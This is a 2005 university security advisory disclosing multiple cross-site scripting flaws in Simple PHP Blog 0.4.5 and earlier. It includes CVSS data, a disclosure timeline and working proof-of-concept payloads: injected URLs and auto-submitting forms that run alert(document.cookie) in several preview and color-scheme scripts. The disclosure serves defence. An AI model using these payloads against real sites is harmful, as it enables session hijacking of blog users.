Simple PHP Blog: Multiple XSS Vulnerabilities

2005.11.02
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

=========================================================== Simple PHP Blog: Multiple XSS Vulnerabilities =========================================================== Technical University of Vienna Security Advisory TUVSA-0511-001, November 2, 2005 =========================================================== Affected applications ---------------------- Simple PHP Blog (www.simplephpblog.com) Versions 0.4.5 and prior. Description ------------ 1.) preview_cgi.php, part 1 There is a cross-site scripting (XSS) vulnerability in the file preview_cgi.php on line 126: The variable $entry is echoed, but hasn't been sufficiently sanitized before. When logged in, this issue can be tested with the following URL: http://your-server/path-to-sphpblog/preview_cgi.php?entry=foo"><script>a lert(document.cookie)</script> The fields "your-server" and "path-to-sphpblog" in the given URL have to be adjusted accordingly. 2.) preview_cgi.php, part 2 There is another cross-site scripting vulnerability in the file preview_cgi.php on line 129: The variable $temp_subject is echoed, but hasn't been sufficiently sanitized before. When logged in, this issue can be tested by visiting a page structured as follows: <form action="http://your-server/path-to-sphpblog/preview_cgi.php" method="post"> <input name="blog_subject" value='"><script>alert(document.cookie)</script>'/> <input type="submit"/> </form> <script type="text/javascript"> document.forms[0].submit(); </script> An analogous vulnerability affects preview_cgi.php on line 158: <form action="http://your-server/path-to-sphpblog/preview_cgi.php" method="post"> <input name="blog_text" value='</textarea><script>alert(document.cookie)</script>'/> <input type="submit"/> </form> <script type="text/javascript"> document.forms[0].submit(); </script> 3.) preview_static_cgi.php In the file preview_static_cgi.php, there are four vulnerabilities resembling those in preview_cgi.php: - line 73, variable $entry; example URL: http://localhost/~enji/path-to-sphpblog/preview_static_cgi.php?entry=foo "><script>alert(document.cookie)</script> - line 76, variable $temp_subject; example file: <form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post"> <input name="blog_subject" value='"><script>alert(document.cookie)</script>'/> <input type="submit"/> </form> <script type="text/javascript"> document.forms[0].submit(); </script> - line 158, variable $temp_text; example file: <form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post"> <input name="blog_text" value='</textarea><script>alert(document.cookie)</script>'/> <input type="submit"/> </form> <script type="text/javascript"> document.forms[0].submit(); </script> - line 108, variable $temp_file_name is set to $_POST['file_name'] if $_GET['entry'] is not set, and set to $entry otherwise (in this case, see vulnerability on line 73); example file: <form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post"> <input name="file_name" value='"><script>alert(document.cookie)</script>'/> <input type="submit"/> </form> <script type="text/javascript"> document.forms[0].submit(); </script> 4) colors.php The variables variables $preset_name and $result on line 187 of the file colors.php are also vulnerable to XSS. This can be tested with one of the following two pages: <form action="http://your-server/path-to-sphpblog/colors_cgi.php" method="post"> <input name="save_btn" value="1"/> <input name="scheme_name" value='"></option></select><script>alert(document.cookie)</script>'/> <input name="scheme_file" value="blabla"/> <input type="submit"/> </form> <script type="text/javascript"> document.forms[0].submit(); </script> or <form action="http://your-server/path-to-sphpblog/colors_cgi.php" method="post"> <input name="save_btn" value="1"/> <input name="scheme_name" value="myscheme"/> <input name="scheme_file" value="blabla"/> <input name="bg_color" value='"><script>alert(document.cookie)</script>'/> <input type="submit"/> </form> <script type="text/javascript"> document.forms[0].submit(); </script> Solution --------- The authors are currently working on a new version of Simple PHP Blog that is supposed to fix these vulnerabilities. Timeline: September 22, 2005: Vulnerabilities reported via the contact form under http://www.simplephpblog.com/contact.php. September 29, 2005: Message posted to the project-related SourceForge bug forum (http://sourceforge.net/projects/sphpblog) due to missing response. October 1, 2005: Developers reply via SourceForge. October 2, 2005: Vulnerabilities reported via the e-mail address given in the previous reply. Until November 2, 2005: Occasional contact via e-mail, announcement of advisory release date one week in advance remained uncommented. November 2, 2005: Advisory submission. References ----------- http://www.seclab.tuwien.ac.at/advisories/TUVSA-0511-001.txt Nenad Jovanovic Secure Systems Lab Technical University of Vienna www.seclab.tuwien.ac.at


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